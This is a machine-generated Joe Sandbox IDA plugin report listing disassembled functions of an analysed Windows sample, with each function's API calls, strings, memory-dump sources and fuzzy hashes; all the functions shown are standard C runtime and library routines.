Instruction ID: ce8d9142a08082602957e39f3b723dd1a5a75d625bc2628654832b93868514b7
Opcode Fuzzy Hash: 55881a7127c08f3ae581755080e2831ff2bafeda491c0d68bfe4e442cdeeea3e
Instruction Fuzzy Hash: DE41487150C7C18FD3219B38884869EBFE16BA7324F094A9DE5E4873D2C7B58506C753

Function 00BBE8A0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00BF0160,00000FA0,?,?,00BBE75E), ref: 00BBE8AC
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00BBE75E), ref: 00BBE8B7
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00BBE75E), ref: 00BBE8C8
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00BBE8DA
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00BBE8E8
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00BBE75E), ref: 00BBE90B
DeleteCriticalSection.KERNEL32(00BF0160,00000007,?,?,00BBE75E), ref: 00BBE927
CloseHandle.KERNEL32(?,?,?,00BBE75E), ref: 00BBE937

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00BBE8B2
SleepConditionVariableCS, xrefs: 00BBE8D4
kernel32.dll, xrefs: 00BBE8C3
WakeAllConditionVariable, xrefs: 00BBE8E0

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: b1b4159e4c783f0c15cf99c4d0cffbceb8720fa69088f5ec5001396d46228876
Instruction ID: 7767157c16aa90565e96af623fe9085876a91cc859d147678eae022bc7a8c1a6
Opcode Fuzzy Hash: b1b4159e4c783f0c15cf99c4d0cffbceb8720fa69088f5ec5001396d46228876
Instruction Fuzzy Hash: 5E01D831A503416FD7112B756C4EAB73ED8EB55B417400090F915E72B1DFB0ED01CA61

Function 00BB5B00 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 157COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BB5BBB

Strings

bad locale name, xrefs: 00BB5CD1
R&kt, xrefs: 00BB5B60
R&kt, xrefs: 00BB5CAD
j&V, xrefs: 00BB5B2E
j&V, xrefs: 00BB5B4E
R&kt, xrefs: 00BB5B75
R&kt, xrefs: 00BB5B21

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: LockitLockit::_std::_
String ID: R&kt$R&kt$R&kt$R&kt$bad locale name$j&V$j&V
API String ID: 3382485803-3629830979
Opcode ID: 2f0df1ff0cffe1c93ff4c2946ebc4e1ea41fc047c174822375ba14409b1121a4
Instruction ID: 44313d02bd9c33b13ba7fbcdee81c7a605413f09175ed60c41065fc70eedf0f1
Opcode Fuzzy Hash: 2f0df1ff0cffe1c93ff4c2946ebc4e1ea41fc047c174822375ba14409b1121a4
Instruction Fuzzy Hash: AB51D370A08B488BCB309F2894957BAB6D1EF95744F6448ACF84ADB341DBF5CD448B87

Function 00BB6E10 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 86COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BB6E27
Concurrency::cancel_current_task.LIBCPMT ref: 00BB6F2A

Strings

.jK, xrefs: 00BB6EE9
.jK, xrefs: 00BB6E91
/jK, xrefs: 00BB6F03
.jK, xrefs: 00BB6E60
.jK, xrefs: 00BB6F10
.jK, xrefs: 00BB6EBE
/jK, xrefs: 00BB6EA0

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task_strlen
String ID: .jK$.jK$.jK$.jK$.jK$/jK$/jK
API String ID: 575380510-2724332816
Opcode ID: 9978611f184aa9077d375a2769183c346f4e2dbc4377be4e6fadf07d104c971f
Instruction ID: 3ed53bab889bd8825c4b1776c1487153b189c93bddc38a4694bc1a1cdea59f02
Opcode Fuzzy Hash: 9978611f184aa9077d375a2769183c346f4e2dbc4377be4e6fadf07d104c971f
Instruction Fuzzy Hash: 1F31AE794483089FCA10EF14D48267AB7E9EFA9354F5488A9E88887701E3B5EC40CB93

Function 00BCDAAA Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00BCDBC9
___TypeMatch.LIBVCRUNTIME ref: 00BCDCD7
CatchIt.LIBVCRUNTIME ref: 00BCDD28
_UnwindNestedFrames.LIBCMT ref: 00BCDE29
CallUnexpected.LIBVCRUNTIME ref: 00BCDE44

Strings

csm, xrefs: 00BCDB54
csm, xrefs: 00BCDC00
csm, xrefs: 00BCDAE7

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 95c816ba995e998f69269be538fc25885f9b79849cc1016efbe7c3a949c6d047
Instruction ID: 4b7daa49209e6fd29968d90c448bb4ec1763ec1e7b84cee379ac3234c8758dff
Opcode Fuzzy Hash: 95c816ba995e998f69269be538fc25885f9b79849cc1016efbe7c3a949c6d047
Instruction Fuzzy Hash: E4B14679800209AFCF19DFA4C881EAEBBF5EF54310B1545BEE8156B212D730EA51CBA1

Function 00BDD949 Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BDDD4E: CreateFileW.KERNEL32(00000000,00000000,?,00BDD9F2,?,?,00000000,?,00BDD9F2,00000000,0000000C), ref: 00BDDD6B

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00BDDA5D
__dosmaperr.LIBCMT ref: 00BDDA64
GetFileType.KERNEL32(00000000), ref: 00BDDA70
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00BDDA7A
__dosmaperr.LIBCMT ref: 00BDDA83
CloseHandle.KERNEL32(00000000), ref: 00BDDAA3
CloseHandle.KERNEL32(00BD7D3A), ref: 00BDDBF0
GetLastError.KERNEL32 ref: 00BDDC22
__dosmaperr.LIBCMT ref: 00BDDC29

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: b8dc98c9874930a13532306a6a10e3306e8423e0c5c98af8810fca8752ba1309
Instruction ID: e765a4f9a7852ccd5722461ea9699e37ddc2d4ca44909cab11527e563e25a4c6
Opcode Fuzzy Hash: b8dc98c9874930a13532306a6a10e3306e8423e0c5c98af8810fca8752ba1309
Instruction Fuzzy Hash: C8A14932A141459FCF19AF68DC91BADBBE1EB06324F14019EF8519F3A2EB359C12CB51

Function 00BA76F0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 315COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BA772E

Strings

+`^z, xrefs: 00BA77CB
+`^z, xrefs: 00BA779D
W<?, xrefs: 00BA7B90
.bss, xrefs: 00BA78DE
W<?, xrefs: 00BA795B

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z$.bss$W<?$W<?
API String ID: 4218353326-2698662740
Opcode ID: 0a9afe8e1af41411e1ec7cd4b317cc508f7a3e896ce4bd606d55f7d3814c932a
Instruction ID: e4525b1ea40e7781472a9579757f5ad3dcbfc84d7bb569b96e03cb3acd1c1d47
Opcode Fuzzy Hash: 0a9afe8e1af41411e1ec7cd4b317cc508f7a3e896ce4bd606d55f7d3814c932a
Instruction Fuzzy Hash: F8C18C7064C3409FC7249B28CD95A2FBBE1EB86314F60489EF88A97362DA31DD45CB53

Function 00BA42E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00BA437A
std::_Throw_Cpp_error.LIBCPMT ref: 00BA43CE
std::_Throw_Cpp_error.LIBCPMT ref: 00BA43FB
std::_Throw_Cpp_error.LIBCPMT ref: 00BA4402

Strings

F+, xrefs: 00BA43BA
E+, xrefs: 00BA4308
F+, xrefs: 00BA4330

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID: E+$F+$F+
API String ID: 2261580123-1602586302
Opcode ID: a8adc69b0c7d64c7cab5c01f76fe6622a7a8dc088375b32aa8374e5731e1dfde
Instruction ID: b2aa4a93d0e30dca9682f375417a6c91e31c2251ffed686d196d5fdc5e1dd64d
Opcode Fuzzy Hash: a8adc69b0c7d64c7cab5c01f76fe6622a7a8dc088375b32aa8374e5731e1dfde
Instruction Fuzzy Hash: 6921C834608301EBDE206658D8D276E73D4EBE6710F1409BEF55ACB761D7F2DC448A4A

Function 00BDEEFA Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,00BDEEE5,?,?,?,?,?,?,?,?,?,?), ref: 00BDEFA0
__alloca_probe_16.LIBCMT ref: 00BDF05B
__alloca_probe_16.LIBCMT ref: 00BDF0EA
__freea.LIBCMT ref: 00BDF135
__freea.LIBCMT ref: 00BDF13B
__freea.LIBCMT ref: 00BDF171
__freea.LIBCMT ref: 00BDF177
__freea.LIBCMT ref: 00BDF187

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 8be0ef747ae67bd5bee685223a2bbb8433ab45fbfebd03fe93372ebdcdedb8ff
Instruction ID: 62d712a869590bb4e9005b221ba5ae7a49767358df225b51cccd0be0300247a0
Opcode Fuzzy Hash: 8be0ef747ae67bd5bee685223a2bbb8433ab45fbfebd03fe93372ebdcdedb8ff
Instruction Fuzzy Hash: 81718272904246AADB219F94CC81FBEB7E6DF49710F1800EBE915BB341F635DD418760

Function 00BC13CB Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00BC1414
__alloca_probe_16.LIBCMT ref: 00BC1440
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00BC147F
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BC149C
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00BC14DB
__alloca_probe_16.LIBCMT ref: 00BC14F8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BC153A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00BC155D

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 3ea1bdda40152d78d3d23510f5da595081b61fe8f8cf807eec42be485a674dee
Instruction ID: 2634fd599d171369309a3853a0e8745e3d1dfef0827e5737c71c89cd20797ead
Opcode Fuzzy Hash: 3ea1bdda40152d78d3d23510f5da595081b61fe8f8cf807eec42be485a674dee
Instruction Fuzzy Hash: 3F519372A10206AFDB208F98CC85FAF7BF9EB96750F144899F915A6151DB30CD11CBA0

Function 00BD25EA Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BD2670

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 2e8523f9e199b17f6625ed6c0ffad96a4a1d4108d1d5b5e50c5b311801a702c8
Instruction ID: e6f11dc681eaffff30e7844435bd472cbb93a1f92af42d013439321d173f15c8
Opcode Fuzzy Hash: 2e8523f9e199b17f6625ed6c0ffad96a4a1d4108d1d5b5e50c5b311801a702c8
Instruction Fuzzy Hash: A8B10432A053959FDB268F64CC81BAAFBE5EF65310F1441E7E904AB382F6759D01C7A0

Function 00BC24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BC2517
___except_validate_context_record.LIBVCRUNTIME ref: 00BC251F
_ValidateLocalCookies.LIBCMT ref: 00BC25A8
__IsNonwritableInCurrentImage.LIBCMT ref: 00BC25D3
_ValidateLocalCookies.LIBCMT ref: 00BC2628

Strings

csm, xrefs: 00BC25BD

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0778404a348e329fd75feb148ba6d6ad9923a30daf8a4948f05a14ef55cc87f8
Instruction ID: 677041ae42cdb70637612506fa9f29bbac6c13111356a430da3372795bc69eb0
Opcode Fuzzy Hash: 0778404a348e329fd75feb148ba6d6ad9923a30daf8a4948f05a14ef55cc87f8
Instruction Fuzzy Hash: 9E41D234A00258DBCF14DF68C895F9EBBE5EF44324F1481E9E8289B352DB71EA41CB91

Function 00BD06B1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00BD07C0,00BC990C,0000000C,00000000,C0C2D04E,00000000,?,00BD043E,00000022,FlsSetValue,00BE2EF8,00BE2F00,C0C2D04E), ref: 00BD0772

Strings

api-ms-, xrefs: 00BD0708
ext-ms-, xrefs: 00BD071C

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 912375338e29d364a1202794166a3aa307801e5e4141fc544aec135a7ef0da74
Instruction ID: 491d9150e751629b9d0fefe7d464c514121266c3654fc0ae431b4e402a100a18
Opcode Fuzzy Hash: 912375338e29d364a1202794166a3aa307801e5e4141fc544aec135a7ef0da74
Instruction Fuzzy Hash: 3E21D835A11311ABDB21AB65DC85B5ABBD8EF51760F2501A2E825AF391FB30FD01CED0

Function 00BD8319 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69d185699df5c6ad7715a9b12144ae20d9df36e52225e32b76916340d28eae88
Instruction ID: 30cec61593b76ba7f57e15a71230fa1d52ca4efbf03ed7eafe6641808429d6a5
Opcode Fuzzy Hash: 69d185699df5c6ad7715a9b12144ae20d9df36e52225e32b76916340d28eae88
Instruction Fuzzy Hash: 53B10F70A04249AFDB11DF98D884BBEFBF1EF55325F1441DAE4049B392EB709941CBA0

Function 00BCD1EC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BCD1E3,00BC22AA,00BC0E9D), ref: 00BCD1FA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BCD208
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BCD221
SetLastError.KERNEL32(00000000,00BCD1E3,00BC22AA,00BC0E9D), ref: 00BCD273

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ed50d7d04ead9736d569fcad29e897fdec22ad90ecbac57f9c1ed49f07ec0f0d
Instruction ID: 2d036e07d21792b1dec88b30f9127f7de0eed5c2fa5798030333d3514b5eec95
Opcode Fuzzy Hash: ed50d7d04ead9736d569fcad29e897fdec22ad90ecbac57f9c1ed49f07ec0f0d
Instruction Fuzzy Hash: 7201D83A1097115EA7242674FCC6E2B6FC4EB01B78B2002BEF5348E1E5FF62CC029540

Function 00BC7ADC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00BDFB57,000000FF,?,00BC7B9D,00BC7A84,?,00BC7C39,00000000), ref: 00BC7B11
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BC7B23
FreeLibrary.KERNEL32(00000000,?,?,00000000,00BDFB57,000000FF,?,00BC7B9D,00BC7A84,?,00BC7C39,00000000), ref: 00BC7B45

Strings

CorExitProcess, xrefs: 00BC7B1B
mscoree.dll, xrefs: 00BC7B0A

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1c0d962fb5e748d3c7ad5a7532ecb09e72bd2076295a4b3bbd5672dafc482201
Instruction ID: 964288a6d67e3810e3cd399903337c744b16583513ce5f7a7003d7c7c07463dd
Opcode Fuzzy Hash: 1c0d962fb5e748d3c7ad5a7532ecb09e72bd2076295a4b3bbd5672dafc482201
Instruction Fuzzy Hash: A7018F31944699AFDB018B94CC55FAEBBF8FB04B10F000569E821A32A0DF74A800CA80

Function 00BAD0E0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 41COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00BAD0FC

Strings

pE\&, xrefs: 00BAD116
pE\&, xrefs: 00BAD120
pE\&, xrefs: 00BAD14E
pE\&, xrefs: 00BAD145

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: pE\&$pE\&$pE\&$pE\&
API String ID: 4194217158-2012766030
Opcode ID: fe6d4e7400144646b94ae28f85fdade90fc919945505715735f8c41800b898b9
Instruction ID: 04092c1a22c49d464a69ea900551faa73e7c6369ec0ceb04f2cee63d728efeb8
Opcode Fuzzy Hash: fe6d4e7400144646b94ae28f85fdade90fc919945505715735f8c41800b898b9
Instruction Fuzzy Hash: B101A4F5D182108BCA10AB18E8C2A6A72F0EB56714F050CBAF447EB310E772DC55C79B

Function 00BD0E85 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

